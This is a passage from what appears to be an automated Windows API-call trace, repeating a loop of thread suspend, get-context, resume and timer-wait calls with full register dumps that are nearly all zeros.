[5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0176.861] ResumeThread (hThread=0x170) returned 0x1 [0176.861] CloseHandle (hObject=0x170) returned 1 [0176.861] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0176.861] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0176.861] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0176.861] SuspendThread (hThread=0x170) returned 0x0 [0176.861] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0176.961] ResumeThread (hThread=0x170) returned 0x1 [0176.961] CloseHandle (hObject=0x170) returned 1 [0176.961] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0176.961] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0176.961] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0176.961] SuspendThread (hThread=0x170) returned 0x0 [0176.961] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0177.103] ResumeThread (hThread=0x170) returned 0x1 [0177.103] CloseHandle (hObject=0x170) returned 1 [0177.103] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0177.103] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0177.103] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0177.103] SuspendThread (hThread=0x170) returned 0x0 [0177.103] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0177.230] ResumeThread (hThread=0x170) returned 0x1 [0177.230] CloseHandle (hObject=0x170) returned 1 [0177.230] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0177.231] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0177.231] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0177.231] SuspendThread (hThread=0x170) returned 0x0 [0177.231] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0177.234] ResumeThread (hThread=0x170) returned 0x1 [0177.234] CloseHandle (hObject=0x170) returned 1 [0177.234] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0177.234] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0177.234] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0177.234] SuspendThread (hThread=0x170) returned 0x0 [0177.234] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, 